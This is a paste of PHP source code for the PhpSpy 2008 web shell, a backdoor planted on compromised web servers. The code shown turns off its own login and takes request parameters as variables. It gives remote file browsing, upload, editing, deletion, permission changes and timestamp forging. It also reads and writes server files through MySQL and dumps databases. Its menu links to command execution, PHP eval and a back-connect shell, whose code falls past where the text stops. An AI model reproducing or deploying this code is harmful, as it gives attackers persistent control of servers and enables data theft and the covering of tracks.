· 9 years ago · Mar 20, 2017, 05:56 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0 );
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
13@set_time_limit(0);
14
15foreach(array('_GET','_POST') as $_request) {
16 foreach($$_request as $_key => $_value) {
17 if ($_key{0} != '_') {
18 if (IS_GPC) {
19 $_value = s_array($_value);
20 }
21 $$_key = $_value;
22 }
23 }
24}
25
26$admin = array();
27$admin['check'] = false;
28$admin['pass'] = 'root';
29$admin['cookiepre'] = '';
30$admin['cookiedomain'] = '';
31$admin['cookiepath'] = '/';
32$admin['cookielife'] = 86400;
33if ($charset == 'utf8') {
34 header("content-Type: text/html; charset=utf-8");
35} elseif ($charset == 'big5') {
36 header("content-Type: text/html; charset=big5");
37} elseif ($charset == 'gbk') {
38 header("content-Type: text/html; charset=gbk");
39} elseif ($charset == 'latin1') {
40 header("content-Type: text/html; charset=iso-8859-2");
41}
42
43$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
44$timestamp = time();
45if ($action == "logout") {
46 scookie('phpspypass', '', -86400 * 365);
47 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
48 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
49 exit;
50}
51if($admin['check']) {
52 if ($doing == 'login') {
53 if ($admin['pass'] == $password) {
54 scookie('phpspypass', $password);
55 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
56 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
57 exit;
58 }
59 }
60 if ($_COOKIE['phpspypass']) {
61 if ($_COOKIE['phpspypass'] != $admin['pass']) {
62 loginpage();
63 }
64 } else {
65 loginpage();
66 }
67}
68$errmsg = '';
69if ($action == 'phpinfo') {
70 if (IS_PHPINFO) {
71 phpinfo();
72 } else {
73 $errmsg = 'phpinfo() function has non-permissible';
74 }
75}
76if ($doing == 'downfile' && $thefile) {
77 if (!@file_exists($thefile)) {
78 $errmsg = 'The file you want Downloadable was nonexistent';
79 } else {
80 $fileinfo = pathinfo($thefile);
81 header('Content-type: application/x-'.$fileinfo['extension']);
82 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
83 header('Content-Length: '.filesize($thefile));
84 @readfile($thefile);
85 exit;
86 }
87}
88if ($doing == 'backupmysql' && !$saveasfile) {
89 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
90 $table = array_flip($table);
91 $result = q("SHOW tables");
92 if (!$result) p('<h2>'.mysql_error().'</h2>');
93 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
94 header('Content-type: application/unknown');
95 header('Content-Disposition: attachment; filename='.$filename);
96 $mysqldata = '';
97 while ($currow = mysql_fetch_array($result)) {
98 if (isset($table[$currow[0]])) {
99 $mysqldata .= sqldumptable($currow[0]);
100 }
101 }
102 mysql_close();
103 exit;
104}
105if($doing=='mysqldown'){
106 if (!$dbname) {
107 $errmsg = 'Please input dbname';
108 } else {
109 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
110 if (!file_exists($mysqldlfile)) {
111 $errmsg = 'The file you want Downloadable was nonexistent';
112 } else {
113 $result = q("select load_file('$mysqldlfile');");
114 if(!$result){
115 q("DROP TABLE IF EXISTS tmp_angel;");
116 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
117 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
118 $result = q("select content from tmp_angel");
119 q("DROP TABLE tmp_angel");
120 }
121 $row = @mysql_fetch_array($result);
122 if (!$row) {
123 $errmsg = 'Load file failed '.mysql_error();
124 } else {
125 $fileinfo = pathinfo($mysqldlfile);
126 header('Content-type: application/x-'.$fileinfo['extension']);
127 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
128 header("Accept-Length: ".strlen($row[0]));
129 echo $row[0];
130 exit;
131 }
132 }
133 }
134}
135
136?>
137<html>
138<head>
139<meta http-equiv="Content-Type" content="text/html; charset=gbk">
140<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
141<style type="text/css">
142body,td{font: 12px Arial,Tahoma;line-height: 16px;}
143.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
144.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
145.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
146a {color: #00f;text-decoration:underline;}
147a:hover{color: #f00;text-decoration:none;}
148.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
149.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
150.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
151.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
152.head td span{font-weight:normal;}
153form{margin:0;padding:0;}
154h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
155ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
156u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
157</style>
158<script type="text/javascript">
159function CheckAll(form) {
160 for(var i=0;i<form.elements.length;i++) {
161 var e = form.elements[i];
162 if (e.name != 'chkall')
163 e.checked = form.chkall.checked;
164 }
165}
166function $(id) {
167 return document.getElementById(id);
168}
169function goaction(act){
170 $('goaction').action.value=act;
171 $('goaction').submit();
172}
173</script>
174</head>
175<body style="margin:0;table-layout:fixed; word-break:break-all">
176<table width="100%" border="0" cellpadding="0" cellspacing="0">
177 <tr class="head">
178 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
179 </tr>
180 <tr class="alt1">
181 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
182 <a href="javascript:goaction('logout');">Logout</a> |
183 <a href="javascript:goaction('file');">File Manager</a> |
184 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
185 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
186 <a href="javascript:goaction('shell');">Execute Command</a> |
187 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
188 <a href="javascript:goaction('eval');">Eval PHP Code</a>
189 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
190 </td>
191 </tr>
192</table>
193<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
194<?php
195
196formhead(array('name'=>'goaction'));
197makehide('action');
198formfoot();
199$errmsg && m($errmsg);
200!$dir && $dir = '.';
201$nowpath = getPath(SA_ROOT, $dir);
202if (substr($dir, -1) != '/') {
203 $dir = $dir.'/';
204}
205$uedir = ue($dir);
206if (!$action || $action == 'file') {
207 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
208 if ($doing == 'deldir' && $thefile) {
209 if (!file_exists($thefile)) {
210 m($thefile.' directory does not exist');
211 } else {
212 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
213 }
214 }
215 elseif ($newdirname) {
216 $mkdirs = $nowpath.$newdirname;
217 if (file_exists($mkdirs)) {
218 m('Directory has already existed');
219 } else {
220 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
221 @chmod($mkdirs,0777);
222 }
223 }
224 elseif ($doupfile) {
225 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
226 }
227 elseif ($editfilename && $filecontent) {
228 $fp = @fopen($editfilename,'w');
229 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
230 @fclose($fp);
231 }
232 elseif ($pfile && $newperm) {
233 if (!file_exists($pfile)) {
234 m('The original file does not exist');
235 } else {
236 $newperm = base_convert($newperm,8,10);
237 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
238 }
239 }
240 elseif ($oldname && $newfilename) {
241 $nname = $nowpath.$newfilename;
242 if (file_exists($nname) || !file_exists($oldname)) {
243 m($nname.' has already existed or original file does not exist');
244 } else {
245 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
246 }
247 }
248 elseif ($sname && $tofile) {
249 if (file_exists($tofile) || !file_exists($sname)) {
250 m('The goal file has already existed or original file does not exist');
251 } else {
252 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
253 }
254 }
255 elseif ($curfile && $tarfile) {
256 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
257 m('The goal file has already existed or original file does not exist');
258 } else {
259 $time = @filemtime($tarfile);
260 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
261 }
262 }
263 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
264 if (!@file_exists($curfile)) {
265 m(basename($curfile).' does not exist');
266 } else {
267 $time = strtotime("$year-$month-$day $hour:$minute:$second");
268 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
269 }
270 }
271 elseif($doing == 'downrar') {
272 if ($dl) {
273 $dfiles='';
274 foreach ($dl as $filepath => $value) {
275 $dfiles.=$filepath.',';
276 }
277 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
278 $dl=explode(',',$dfiles);
279 $zip=new PHPZip($dl);
280 $code=$zip->out;
281 header('Content-type: application/octet-stream');
282 header('Accept-Ranges: bytes');
283 header('Accept-Length: '.strlen($code));
284 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
285 echo $code;
286 exit;
287 } else {
288 m('Please select file(s)');
289 }
290 }
291 elseif($doing == 'delfiles') {
292 if ($dl) {
293 $dfiles='';
294 $succ = $fail = 0;
295 foreach ($dl as $filepath => $value) {
296 if (@unlink($filepath)) {
297 $succ++;
298 } else {
299 $fail++;
300 }
301 }
302 m('Deleted file have finishedЈ¬choose '.count($dl).' success '.$succ.' fail '.$fail);
303 } else {
304 m('Please select file(s)');
305 }
306 }
307 formhead(array('name'=>'createdir'));
308 makehide('newdirname');
309 makehide('dir',$nowpath);
310 formfoot();
311 formhead(array('name'=>'fileperm'));
312 makehide('newperm');
313 makehide('pfile');
314 makehide('dir',$nowpath);
315 formfoot();
316 formhead(array('name'=>'copyfile'));
317 makehide('sname');
318 makehide('tofile');
319 makehide('dir',$nowpath);
320 formfoot();
321 formhead(array('name'=>'rename'));
322 makehide('oldname');
323 makehide('newfilename');
324 makehide('dir',$nowpath);
325 formfoot();
326 formhead(array('name'=>'fileopform'));
327 makehide('action');
328 makehide('opfile');
329 makehide('dir');
330 formfoot();
331
332 $free = @disk_free_space($nowpath);
333 !$free && $free = 0;
334 $all = @disk_total_space($nowpath);
335 !$all && $all = 0;
336 $used = $all-$free;
337 $used_percent = @round(100/($all/$free),2);
338 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
339
340?>
341<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
342 <form action="" method="post" id="godir" name="godir">
343 <tr>
344 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
345 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
346 <td nowrap><input class="bt" value="GO" type="submit"></td>
347 </tr>
348 </form>
349</table>
350<script type="text/javascript">
351function createdir(){
352 var newdirname;
353 newdirname = prompt('Please input the directory name:', '');
354 if (!newdirname) return;
355 $('createdir').newdirname.value=newdirname;
356 $('createdir').submit();
357}
358function fileperm(pfile){
359 var newperm;
360 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
361 if (!newperm) return;
362 $('fileperm').newperm.value=newperm;
363 $('fileperm').pfile.value=pfile;
364 $('fileperm').submit();
365}
366function copyfile(sname){
367 var tofile;
368 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
369 if (!tofile) return;
370 $('copyfile').tofile.value=tofile;
371 $('copyfile').sname.value=sname;
372 $('copyfile').submit();
373}
374function rename(oldname){
375 var newfilename;
376 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
377 if (!newfilename) return;
378 $('rename').newfilename.value=newfilename;
379 $('rename').oldname.value=oldname;
380 $('rename').submit();
381}
382function dofile(doing,thefile,m){
383 if (m && !confirm(m)) {
384 return;
385 }
386 $('filelist').doing.value=doing;
387 if (thefile){
388 $('filelist').thefile.value=thefile;
389 }
390 $('filelist').submit();
391}
392function createfile(nowpath){
393 var filename;
394 filename = prompt('Please input the file name:', '');
395 if (!filename) return;
396 opfile('editfile',nowpath + filename,nowpath);
397}
398function opfile(action,opfile,dir){
399 $('fileopform').action.value=action;
400 $('fileopform').opfile.value=opfile;
401 $('fileopform').dir.value=dir;
402 $('fileopform').submit();
403}
404function godir(dir,view_writable){
405 if (view_writable) {
406 $('godir').view_writable.value=1;
407 }
408 $('godir').dir.value=dir;
409 $('godir').submit();
410}
411</script>
412 <?php
413 tbhead();
414 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
415 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
416 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
417 if ($view_writable) {
418 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
419 } else {
420 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
421 }
422 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
423 if (IS_WIN && IS_COM) {
424 $obj = new COM('scripting.filesystemobject');
425 if ($obj && is_object($obj)) {
426 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
427 foreach($obj->Drives as $drive) {
428 if ($drive->DriveType == 2) {
429 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
430 } else {
431 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
432 }
433 }
434 }
435 }
436 p('</td></tr></form>');
437 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
438 $dirdata=array();
439 $filedata=array();
440
441 if ($view_writable) {
442 $dirdata = GetList($nowpath);
443 } else {
444 $dirs=@opendir($dir);
445 while ($file=@readdir($dirs)) {
446 $filepath=$nowpath.$file;
447 if(@is_dir($filepath)){
448 $dirdb['filename']=$file;
449 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
450 $dirdb['dirchmod']=getChmod($filepath);
451 $dirdb['dirperm']=getPerms($filepath);
452 $dirdb['fileowner']=getUser($filepath);
453 $dirdb['dirlink']=$nowpath;
454 $dirdb['server_link']=$filepath;
455 $dirdb['client_link']=ue($filepath);
456 $dirdata[]=$dirdb;
457 } else {
458 $filedb['filename']=$file;
459 $filedb['size']=sizecount(@filesize($filepath));
460 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
461 $filedb['filechmod']=getChmod($filepath);
462 $filedb['fileperm']=getPerms($filepath);
463 $filedb['fileowner']=getUser($filepath);
464 $filedb['dirlink']=$nowpath;
465 $filedb['server_link']=$filepath;
466 $filedb['client_link']=ue($filepath);
467 $filedata[]=$filedb;
468 }
469 }
470 unset($dirdb);
471 unset($filedb);
472 @closedir($dirs);
473 }
474 @sort($dirdata);
475 @sort($filedata);
476 $dir_i = '0';
477 foreach($dirdata as $key => $dirdb){
478 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
479 $thisbg = bg();
480 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
481 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
482 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
483 p('<td nowrap>'.$dirdb['mtime'].'</td>');
484 p('<td nowrap>--</td>');
485 p('<td nowrap>');
486 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
487 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
488 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
489 p('</tr>');
490 $dir_i++;
491 } else {
492 if($dirdb['filename']=='..') {
493 p('<tr class='.bg().'>');
494 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
495 p('</tr>');
496 }
497 }
498 }
499
500 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
501 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
502 makehide('action','file');
503 makehide('thefile');
504 makehide('doing');
505 makehide('dir',$nowpath);
506 $file_i = '0';
507 foreach($filedata as $key => $filedb){
508 if($filedb['filename']!='..' && $filedb['filename']!='.') {
509 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
510 $thisbg = bg();
511 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
512 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
513 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
514 p('<td nowrap>'.$filedb['mtime'].'</td>');
515 p('<td nowrap>'.$filedb['size'].'</td>');
516 p('<td nowrap>');
517 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
518 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
519 p('<td nowrap>');
520 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
521 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
522 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
523 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
524 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
525 p('</td></tr>');
526 $file_i++;
527 }
528 }
529 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
530 p('</form></table>');
531}
532elseif ($action == 'sqlfile') {
533 if($doing=="mysqlupload"){
534 $file = $_FILES['uploadfile'];
535 $filename = $file['tmp_name'];
536 if (file_exists($savepath)) {
537 m('The goal file has already existed');
538 } else {
539 if(!$filename) {
540 m('Please choose a file');
541 } else {
542 $fp=@fopen($filename,'r');
543 $contents=@fread($fp, filesize($filename));
544 @fclose($fp);
545 $contents = bin2hex($contents);
546 if(!$upname) $upname = $file['name'];
547 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
548 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
549 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
550 }
551 }
552 }
553?>
554<script type="text/javascript">
555function mysqlfile(doing){
556 if(!doing) return;
557 $('doing').value=doing;
558 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
559 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
560 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
561 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
562 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
563 $('mysqlfile').charset.value=$('dbinfo').charset.value;
564 $('mysqlfile').submit();
565}
566</script>
567<?php
568 !$dbhost && $dbhost = 'localhost';
569 !$dbuser && $dbuser = 'root';
570 !$dbport && $dbport = '3306';
571 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
572 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
573 makehide('action','sqlfile');
574 p('<p>');
575 p('DBHost:');
576 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
577 p(':');
578 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
579 p('DBUser:');
580 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
581 p('DBPass:');
582 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
583 p('DBName:');
584 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
585 p('DBCharset:');
586 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
587 p('</p>');
588 formfoot();
589 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
590 p('<h2>Upload file</h2>');
591 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
592 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
593 p('<h2>Download file</h2>');
594 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
595 makehide('dbhost');
596 makehide('dbport');
597 makehide('dbuser');
598 makehide('dbpass');
599 makehide('dbname');
600 makehide('charset');
601 makehide('doing');
602 makehide('action','sqlfile');
603 p('</form>');
604}
605
606elseif ($action == 'sqladmin') {
607 !$dbhost && $dbhost = 'localhost';
608 !$dbuser && $dbuser = 'root';
609 !$dbport && $dbport = '3306';
610 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
611 if(isset($dbhost)){
612 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
613 }
614 if(isset($dbuser)) {
615 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
616 }
617 if(isset($dbpass)) {
618 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
619 }
620 if(isset($dbport)) {
621 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
622 }
623 if(isset($dbname)) {
624 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
625 }
626 if(isset($charset)) {
627 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
628 }
629
630 if ($doing == 'backupmysql' && $saveasfile) {
631 if (!$table) {
632 m('Please choose the table');
633 } else {
634 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
635 $table = array_flip($table);
636 $fp = @fopen($path,'w');
637 if ($fp) {
638 $result = q('SHOW tables');
639 if (!$result) p('<h2>'.mysql_error().'</h2>');
640 $mysqldata = '';
641 while ($currow = mysql_fetch_array($result)) {
642 if (isset($table[$currow[0]])) {
643 sqldumptable($currow[0], $fp);
644 }
645 }
646 fclose($fp);
647 $fileurl = str_replace(SA_ROOT,'',$path);
648 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
649 mysql_close();
650 } else {
651 m('Backup failed');
652 }
653 }
654 }
655 if ($insert && $insertsql) {
656 $keystr = $valstr = $tmp = '';
657 foreach($insertsql as $key => $val) {
658 if ($val) {
659 $keystr .= $tmp.$key;
660 $valstr .= $tmp."'".addslashes($val)."'";
661 $tmp = ',';
662 }
663 }
664 if ($keystr && $valstr) {
665 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
666 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
667 }
668 }
669 if ($update && $insertsql && $base64) {
670 $valstr = $tmp = '';
671 foreach($insertsql as $key => $val) {
672 $valstr .= $tmp.$key."='".addslashes($val)."'";
673 $tmp = ',';
674 }
675 if ($valstr) {
676 $where = base64_decode($base64);
677 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
678 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
679 }
680 }
681 if ($doing == 'del' && $base64) {
682 $where = base64_decode($base64);
683 $delete_sql = "DELETE FROM $tablename WHERE $where";
684 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
685 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
686 }
687
688 if ($tablename && $doing == 'drop') {
689 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
690 if (q("DROP TABLE $tablename")) {
691 m('Drop table of success');
692 $tablename = '';
693 } else {
694 m(mysql_error());
695 }
696 }
697
698 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
699
700 formhead(array('title'=>'MYSQL Manager'));
701 makehide('action','sqladmin');
702 p('<p>');
703 p('DBHost:');
704 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
705 p(':');
706 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
707 p('DBUser:');
708 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
709 p('DBPass:');
710 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
711 p('DBCharset:');
712 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
713 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
714 p('</p>');
715 formfoot();
716?>
717<script type="text/javascript">
718function editrecord(action, base64, tablename){
719 if (action == 'del') {
720 if (!confirm('Is or isn\'t deletion record?')) return;
721 }
722 $('recordlist').doing.value=action;
723 $('recordlist').base64.value=base64;
724 $('recordlist').tablename.value=tablename;
725 $('recordlist').submit();
726}
727function moddbname(dbname) {
728 if(!dbname) return;
729 $('setdbname').dbname.value=dbname;
730 $('setdbname').submit();
731}
732function settable(tablename,doing,page) {
733 if(!tablename) return;
734 if (doing) {
735 $('settable').doing.value=doing;
736 }
737 if (page) {
738 $('settable').page.value=page;
739 }
740 $('settable').tablename.value=tablename;
741 $('settable').submit();
742}
743</script>
744<?php
745 formhead(array('name'=>'recordlist'));
746 makehide('doing');
747 makehide('action','sqladmin');
748 makehide('base64');
749 makehide('tablename');
750 p($dbform);
751 formfoot();
752 formhead(array('name'=>'setdbname'));
753 makehide('action','sqladmin');
754 p($dbform);
755 if (!$dbname) {
756 makehide('dbname');
757 }
758 formfoot();
759 formhead(array('name'=>'settable'));
760 makehide('action','sqladmin');
761 p($dbform);
762 makehide('tablename');
763 makehide('page',$page);
764 makehide('doing');
765 formfoot();
766
767 $cachetables = array();
768 $pagenum = 30;
769 $page = intval($page);
770 if($page) {
771 $start_limit = ($page - 1) * $pagenum;
772 } else {
773 $start_limit = 0;
774 $page = 1;
775 }
776 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
777 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
778 $mysqlver = mysql_get_server_info();
779 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
780 $highver = $mysqlver > '4.1' ? 1 : 0;
781 $query = q("SHOW DATABASES");
782 $dbs = array();
783 $dbs[] = '-- Select a database --';
784 while($db = mysql_fetch_array($query)) {
785 $dbs[$db['Database']] = $db['Database'];
